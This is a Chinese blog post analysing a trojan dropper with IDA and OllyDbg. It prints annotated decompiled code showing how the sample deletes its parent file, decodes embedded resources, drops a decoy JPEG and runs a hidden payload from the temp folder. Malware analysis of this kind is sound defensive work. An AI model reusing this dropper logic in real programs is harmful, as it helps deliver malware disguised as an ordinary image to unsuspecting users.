逆向工程之恶意程序part2

等了作者一个星期,没见他出Paper了,只好自己完成剩下的工作了...将sample.exe用LordPE修改一下入口点(0X401E1F)为EBFE,在用OllyDbg附加,然后再改回来。此处分析我主要采用IDA静态分析,适当结合OllyDbg动态跟踪。

整个函数:
void __cdecl sub_401E1F()

{

 DWORD v0; // eax@2

  inti; // esi@5

 HMODULE v2; // esi@5

  intv3; // esi@8

  intv4; // esi@8

  intv5; // kr00_4@12

 HANDLE v6; // eax@13

 struct _SHELLEXECUTEINFOW ExecInfo; // [sp+Ch] [bp-A8Ch]@18

 DWORD NumberOfBytesWritten; // [sp+48h] [bp-A50h]@15

 DWORD flOldProtect; // [sp+4Ch] [bp-A4Ch]@5

 HMODULE v10; // [sp+50h] [bp-A48h]@5

 SIZE_T dwSize; // [sp+54h] [bp-A44h]@5

 DWORD nNumberOfBytesToWrite; // [sp+58h] [bp-A40h]@5

 LPCVOID lpBuffer; // [sp+5Ch] [bp-A3Ch]@5

 LPVOID lpAddress; // [sp+60h] [bp-A38h]@5

  intv15; // [sp+64h] [bp-A34h]@1

 HANDLE hObject; // [sp+68h] [bp-A30h]@5

 char v17; // [sp+6Ch] [bp-A2Ch]@1

 char v18; // [sp+274h] [bp-824h]@1

 char Dst; // [sp+47Ch] [bp-61Ch]@1

 const WCHAR Dest; // [sp+684h] [bp-414h]@1

 const WCHAR v21[260]; // [sp+88Ch] [bp-20Ch]@1

 unsigned int v22; // [sp+A94h] [bp-4h]@1

  intv23; // [sp+A98h] [bp+0h]@1

 

  v22= (unsigned int)&v23 ^ dword_404000;

 memset(&Dst, 0, 0x208u);

 memset((void *)v21, 0, 0x208u);

 memset((void *)&Dest, 0, 0x208u);

 memset(&v17, 0, 0x208u);

 memset(&v18, 0, 0x208u);

 WaitForSingleObject(hHandle, 0xFFFFFFFFu); //等待父进程结束

 CloseHandle(hHandle);

  v15= 1;

  if( !DeleteFileW(&Filename) )  //删除父进程对应的EXE文件(上面的句柄和此处的路径都是父进程写入到子进程的)

  {

   v0 = GetFileAttributesW(&Filename);

   if ( v0 != -1 )

    {

     if ( v0 & 5 )

     {

       SetFileAttributesW(&Filename, v0 & 0xFFFFFFFA);

       v15 = DeleteFileW(&Filename);

     }

    }

  }

  v2= GetModuleHandleW(0); //获取本执行模块句柄

  v10= v2;

  lpAddress = (LPVOID)sub_40255A(v2,5, 1); //调用函数①找到两个资源的二进制起点

  lpBuffer =(LPCVOID)sub_40255A(v2, 5, 2);

  dwSize = sub_4025DF(v2, 5, 1);//资源大小

nNumberOfBytesToWrite =sub_4025DF(v2, 5, 2);

 VirtualProtect(lpAddress, dwSize, 64u, &flOldProtect); //改变内存属性

  sub_402662((unsigned int*)lpAddress, dwSize);//资源解码

 VirtualProtect((LPVOID)lpBuffer, nNumberOfBytesToWrite, 0x40u,&flOldProtect);

 sub_402662((unsigned int *)lpBuffer, nNumberOfBytesToWrite);

 sub_4019B3(&Filename, 260, &hObject); //计算Filename的Unicode长度,并用hObject返回

  for( i = 2 * (_DWORD)hObject +0x4048A0; *(_WORD*)i != 0x5c; i -= 2 ) //查找反斜杠

    ;

  v4= i + 2;   // i = VA of ‘\’

 sub_4018D7(&v18, 260, v4); //将V4所指的字符串复制到v18

  v3= v4 - 2;

 *(_WORD *)v3 = 0;

 sub_4018D7(&v17, 260, &Filename);

 *(_WORD *)v3 = 0x5c;

 while ( *(_WORD *)v3 != 0x2e && *(_WORD *)v3 )

   v3 += 2;

 *(_WORD *)v3 = 0;

  v5= *(_DWORD *)sub_40255A(v10, 5, 3);

 sub_401952((wchar_t *)&Dest, 260, L"%s.%s", (unsignedint)&Filename); //形成jpeg全路径

 GetTempPathW(0x104u, (LPWSTR)&Dst);

 sub_401952((wchar_t *)v21, 260, L"%s\\%s", (unsignedint)&Dst); //temp_path\sample.exe

  if( v15 )

  {

   v6 = CreateFileW(&Dest, 0x40000000u, 0,0, 2u, 0, 0); //创建sample.jpeg覆盖原来的sample.exe

   hObject = v6;

   if ( v6 == (HANDLE)-1 )

    {

     v15 = 1;

    }

   else

    {

     WriteFile(v6, lpBuffer, nNumberOfBytesToWrite,&NumberOfBytesWritten, 0);//写图片数据

     FlushFileBuffers(hObject); //刷新缓冲区

     CloseHandle(hObject);

     v15 = 0;

    }

  }

 while ( 1 )

  {

   hObject = CreateFileW(v21, 0x40000000u, 0, 0, 2u, 0x80u, 0);//在临时文件夹里创建sample.exe

   if ( hObject != (HANDLE)-1 )

     break;

   sub_401911(v21, 260, L".exe");

  }

 WriteFile(hObject, lpAddress,dwSize, &NumberOfBytesWritten, 0); //写真正sample.EXE文件数据

 FlushFileBuffers(hObject);

 CloseHandle(hObject);

 memset(&ExecInfo, 0, 0x3Cu);

 ExecInfo.lpFile = v21;

 ExecInfo.cbSize = 60;

 ExecInfo.fMask = 64;

 ExecInfo.lpVerb = L"open";

 ExecInfo.nShow = 5;

 ShellExecuteExW(&ExecInfo); //执行真正的病毒

  if( !v15 )

   ShellExecuteW(0, L"open",&Dest, 0, 0, 5); //弹出图片

 WaitForSingleObject(ExecInfo.hProcess, 0xFFFFFFFFu);//等待执行完毕

 sub_401ACE((int)v21);

}

 

这里面嵌套了几个函数,现在都贴出来:

函数①

int __stdcall sub_40255A(int hModule,unsigned int a2, unsigned int a3)

{

  intresult; // eax@1

  intResource_VA; // esi@2

  intv5; // eax@6

 

 result = *(_DWORD *)(hModule + *(_DWORD*)(hModule + 0x3C) + 0x88);//资源目录RVA

  if( result )

  {

   Resource_VA = result + hModule;

   if ( a2 <= 0xFFFF )

     result = sub_4024CF(result+ hModule, a2);// here调用函数②

   else

     result = sub_4024FF(result + hModule, a2, result + hModule);

   if ( result )

    {

     v5 = Resource_VA + (*(_DWORD *)(result + 4) & 0x7FFFFFFF);

     if ( a3 <= 0xFFFF )

       result = sub_4024CF(v5, a3);

     else

       result = sub_4024FF(v5, a3, Resource_VA);

     if ( result )

       result = hModule

               + *(_DWORD *)(*(_DWORD*)((*(_DWORD *)(result + 4) & 0x7FFFFFFF) + Resource_VA + 20) +Resource_VA);

    }

  }

 return result;

}

函数②:

int __stdcall sub_4024CF(int resource_VA,int a2)

{

  intresult; // eax@1

  intv3; // ecx@1

 

  v3= *(_WORD *)(resource_VA + 0xE); //   WORD   NumberOfIdEntries;

 result = resource_VA + 8 * *(_WORD *)(resource_VA + 0xC) + 0x10;//从资源基址起绕过各个NamedEntry

 while ( v3 )

  {

   if ( *(_DWORD *)result == a2 ) //查找等于指定值的资源

     return result;

   --v3;

   result += 8;// IMAGE_RESOURCE_DIRECTORY_ENTRY大小为8字节

  }

 return 0;

}

 

这里用到了资源目录结构:

// Resource directory consists of twocounts, following by a variable length

// array of directory entries. The first count isthe number of entries at

// beginning of the arraythat have actual names associated with each entry.

// The entries are in ascending order, caseinsensitive strings.  The second

// count is the number of entries thatimmediately follow the named entries.

// This secondcount identifies the number of entries that have 16-bit integer

// Ids as their name.  These entries are alsosorted in ascending order.

//

// This structure allows fast lookup by eithername or number, but for any

// given resource entry only one form oflookup is supported, not both.

// This is consistant with the syntax ofthe .RC file and the .RES file.

//

 

typedef struct _IMAGE_RESOURCE_DIRECTORY {

   DWORD   Characteristics;

    DWORD  TimeDateStamp;

   WORD    MajorVersion;

   WORD    MinorVersion;

   WORD   NumberOfNamedEntries; //名称入口的个数

   WORD    NumberOfIdEntries; //ID入口个数--此结构下还包函有的资源结构树,即:还有几个子树

// IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];

} IMAGE_RESOURCE_DIRECTORY,*PIMAGE_RESOURCE_DIRECTORY;

 

00405000 00 00 00 00 00 00 00 00 04 00 00 0000 0003 00 .............

 

.

00405010 03 00 00 00 28 00 00 8005 00 00 00 88 0000 80 

 

...(..€...?.€

00405020 0E 00 00 00 B0 00 00 80 00 00 00 00 00 00 00 00 

 

/*

* Predefined Resource Types

*/

#define RT_CURSOR MAKEINTRESOURCE(1)

#define RT_BITMAP MAKEINTRESOURCE(2)

#define RT_ICON MAKEINTRESOURCE(3)

#define RT_MENU MAKEINTRESOURCE(4)

#define RT_DIALOGMAKEINTRESOURCE(5)

#define RT_STRING MAKEINTRESOURCE(6)

#define RT_FONTDIR MAKEINTRESOURCE(7)

#define RT_FONT MAKEINTRESOURCE(8)

#define RT_ACCELERATOR MAKEINTRESOURCE(9)

#define RT_RCDATA MAKEINTRESOURCE(10)

#define RT_MESSAGETABLE MAKEINTRESOURCE(11)

 

// Each directory contains the 32-bit Nameof the entry and an offset,

// relative to the beginning of theresource directory of the data associated

// with this directory entry.  If the name of the entry is an actual text

// string instead of an integer Id, thenthe high order bit of the name field

// is set to one and the low order 31-bitsare an offset, relative to the

// beginning of the resource directory ofthe string, which is of type

// IMAGE_RESOURCE_DIRECTORY_STRING.  Otherwise the high bit is clear and the

// low-order 16-bits are the integer Id thatidentify this resource directory

// entry. If the directory entry is yetanother resource directory (i.e. a

// subdirectory), then the high order bitof the offset field will be

// set to indicate this.  Otherwise the high bit is clear and theoffset

// field points to a resource data entry.

//

 

typedef struct_IMAGE_RESOURCE_DIRECTORY_ENTRY {

   union {

       struct {

           DWORD NameOffset:31;

           DWORD NameIsString:1;

       };

       DWORD   Name;

       WORD    Id;

   };

    union{

       DWORD   OffsetToData;

       struct {

           DWORD   OffsetToDirectory:31;

           DWORD   DataIsDirectory:1;

       };

   };

} IMAGE_RESOURCE_DIRECTORY_ENTRY,*PIMAGE_RESOURCE_DIRECTORY_ENTRY;

 

真正的sample.exe是一个带有假冒微软公司数字签名的可执行文件:

逆向工程之恶意程序part2_第1张图片

360扫描一下结果为:

木马 Trojan.Dropper.UFC

病毒说明

木马是一种伪装成正常文件的恶意软件,通常通过隐蔽的手段获得运行权限,然后盗窃用户的隐私信息,或进行其他恶意行为。

 

你可能感兴趣的:(struct,String,image,Integer,DST,structure)